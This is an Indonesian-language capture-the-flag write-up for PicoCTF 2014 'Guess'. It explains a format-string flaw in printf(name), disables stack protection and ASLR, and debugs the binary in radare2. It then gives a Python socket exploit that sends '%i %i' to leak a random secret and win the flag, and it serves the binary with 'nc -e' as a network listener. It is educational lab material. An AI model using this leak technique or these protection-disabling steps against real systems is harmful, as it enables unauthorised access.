PICO CTF 2014: Guess

Pendahuluan

Pada artikel ini, akan dijelaskan mengenai eksploitasi binary dengan memanfaatkan kelemahan string format pada penggunaan fungsi printf() yang salah dengan cara mengirimkan buffer yang disesuaikan agar mengetahui alamat variabel yang diinginkan dan mengekstrak nilainya.

Alat dan Bahan

  • Fail: guess.c
  • Kompiler: GCC
  • Debugger: GDB
  • Sistem operasi: Ubuntu 14.04 dengan arsitektur 64 bit.

Mengatur Lingkungan Pekerjaan

  1. Source Code
#include <stdio.h>
#include <stdlib.h>

char *flag = "~~FLAG~~";

void main()
{
    int secret, guess;
    char name[32];
    long seed;

    FILE *f = fopen("/dev/urandom", "rb");
    fread(&secret, sizeof(int), 1, f);
    fclose(f);

    printf("Hello! What is your name?\n");
    fgets(name, sizeof(name), stdin);

    printf("Welcome to the guessing game, ");
    printf(name);
    printf("\nI generated a random 32-bit number.\nYou have a 1 in 2^32 chance of guessing it. Good luck.\n");

    printf("What is your guess?\n");
    scanf("%d", &guess);

    if(guess == secret)
    {
        printf("Wow! You guessed it!\n");
        printf("Your flag is: %s\n", flag);
    }
    else
    {
        printf("Hah! I knew you wouldn't get it.\n");
    }
}
  1. Kompilasi
gcc -m32 -fno-stack-protector -z execstack -mpreferred-stack-boundary=4 -o guess -ggdb guess.c

Penjelasan

-m32
    Kompilasi source code menjadi binary dengan arsitektur 32 bit atau x86.
-fno-stack-protector
    Kompilasi source code menjadi binary tanpa pelindung stack (canary).
-z execstack
    Berguna mengaktifkan status stack agar dapat dieksekusi
-mpreferred-stack-boundary
    Pada dasarnya, GCC akan mengkompilasi kode pada setiap fungsi sesuai urutan, masing-masing memiliki stack pointer dengan alinea 16-byte bondary (ini sangat penting jika program memiliki variabel lokal dan bisa juga digunakan untuk mengaktifkan instruksi sse2.
    Jika parameter dirubah menjadi -mpreferred-stack-boundary=2 maka GCC akan menyusun stack pointer pada 4-byte-boundary. Ini akan menguangi kebutuhan stack didalam program, tetapi akan terjadi crash jika kode program yang dipanggil menggunakan sse2, sehingga secara umum menjadi program hasil kompilasi menjadi tidak aman.
-ggdb
    Opsi ini digunakan untuk menghasilkan informasi pada saat proses debugging ketika menggunakan GDB. Dengan kata lain format ekspresif telah disediakan (DWARF 2, stabs, atau fomat native lainnya jika tidak didukung), termasuk ekstensi GDB.
  1. Mematikan ASLR Matikan ASLR agar proses eksploitasi lebih mudah. Untuk mematikannya gunakan perintah berikut:
echo 0 | sudo tee /proc/sys/kernel/randomize_va_space

Pengumpulan Infomasi

Tujuan pada tantangan ini adalah membocorkan informasi variabel secret yang akhirnya bisa digunakan untuk melewati fase pemeriksaan kondisi.

...
if(guess == secret)
{
    printf("Wow! You guessed it!\n");
    printf("Your flag is: %s\n", flag);
}
else
{
    printf("Hah! I knew you wouldn't get it.\n");
}
...

Ada kelemahan pada penggunaan fungsi printf() yang membolehkan pembacaan dan penulisan stack. Dengan kata lain, nilai integer selanjutnya dapat dicetak dengan format %i berulang kali sampai mencetak nilai acak yang dibangkitkan.

...
printf("Hello! What is your name?\n");
fgets(name, sizeof(name), stdin);

printf("Welcome to the guessing game, ");
printf(name);
...

Identifikasi Kelemahan

Untuk mencari kelemahan program langkah yang digunakan adalah dengan melakukan debugging pada variabel secret.

  1. Cari alamat fungsi main(), dengan menggunakan perintah sebagai berikut:
$ nm guess | grep main
         U __libc_start_main@@GLIBC_2.0
0804859d T main

Alamat fungsi main() ada di 0x0804859d.

  1. Dekompilasi program agar bisa membaca kode assembly dengan perintah berikut:
$ radare guess 
...
s 0x0804859d
pd 60
...
0x0804865f              8b442438        mov eax, [esp+0x38]
0x08048663              39c2            cmp edx, eax
0x08048665              7523            jnz 0x804868a  ; 0x0804868a
...

Penjelasan

s
    Digunakan untuk mencari alamat dari fungsi tertentu.
pd <number>
    Digunakan untuk menampilkan hasil dekompilasi berdasarkan jumlah baris yang ingin ditampilkan.

Tujuan dekompilasi adalah untuk mencari alamat pada perbandingan variabel guess dan secret. Alamat tersebut akan digunakan pada proses debugging sebagai breakpoint.

  1. Kadang saat proses debugging, alamat hasil dekompilasi suatu program biasanya berbeda. Oleh karena itu, mari coba debug program dengan menggunakan radare sebagai debugger.

Gunakan perintah sebagai berikut:

$ r2 -d guess 
...
s 0x0804859d
pd 60
...
x08048673    8b442438     mov eax, [esp+0x38]
0x08048677    39c2         cmp edx, eax
0x08048679    7523         jnz 0x804869e
...

Atur breakpoint

db 0x08048677

Jalankan program

[0x0804859d]> dc
[+] signal 28 aka SIGWINCH received
[0xf77300d0]> dc
Hello! What is your name?
%i %i  
Assume we don't know this secret: -1115154380
Welcome to the guessing game, -1115154380 -143750112

I generated a random 32-bit number.
You have a 1 in 2^32 chance of guessing it. Good luck.
What is your guess?
-1115154380

Lihat register, apakah nilai register eax dan edx sama?

[0x08048677]> dr
 eip = 0x08048677
 oeax = 0xffffffff
 eax = 0xbd881834
 ebx = 0xf76e8000
 ecx = 0xf76e98a4
 edx = 0xbd881834
 esp = 0xfff85440
 ebp = 0xfff85488
 esi = 0x00000000
 edi = 0x00000000
 eflags = 0x00000282

Karena nilai register eax dan edx sama, maka pemeriksaan kondisi antara variabel guess dan secret sudah bisa dilewati dengan menggunakan kelemahan format string.

[0x08048677]> dc
Wow! You guessed it!
Your flag is: ~~FLAG~~

Eksploitasi

Berdasarkan identifikasi kelemahan, variabel secret dapat dibocorkan dengan menginjeksi masukan. Sekarang asumsikan program tersebut dijalankan pada server sehingga peretas bisa mengeksploitasi program tersebut dari jarak jauh.

  1. Jalankan program dengan mode server
$ while true; do nc -e guess -l -p 12345 ; sleep 1; done;
  1. Desain payload untuk eksploitasi
import re
import socket

def send(s, msg):
    s.send(msg+'\n')

def sendv(s, msg):
    print '\n[+] [client] {0}'.format(msg)
    s.send(msg+'\n')

def recv(s, buf):
    return s.recv(buf)

def recvv(s, buf):
    received = s.recv(buf)
    print '\n[+] [server] {0}'.format(received)
    return received

def get_middle_string(s, b, e):
    r = r"%s(.*?)%s" % (b,e)
    return re.findall(r,s)

# connect
s = socket.socket()
host = "localhost"
port = 12345
s.connect((host, port))

# view response
recvv(s, 2048)

# send payload
vuln = '%i %i'
sendv(s, vuln)

# get secret
char = recvv(s, 2048)
b = 'Welcome to the guessing game, '
e = '\n'
secret = get_middle_string(char, b, e)[0].split(' ')[0]

# send secret
sendv(s, secret)

# view flag
recvv(s, 2048)

s.close()

Luaran

$ python exploit.py 

[+] [server] Hello! What is your name?


[+] [client] %i %i

[+] [server] Assume we don't know this secret: 944050612
Welcome to the guessing game, 944050612 -143369184

I generated a random 32-bit number.
You have a 1 in 2^32 chance of guessing it. Good luck.
What is your guess?


[+] [client] 944050612

[+] [server] Wow! You guessed it!
Your flag is: ~~FLAG~~

Referensi

results matching ""

    No results matching ""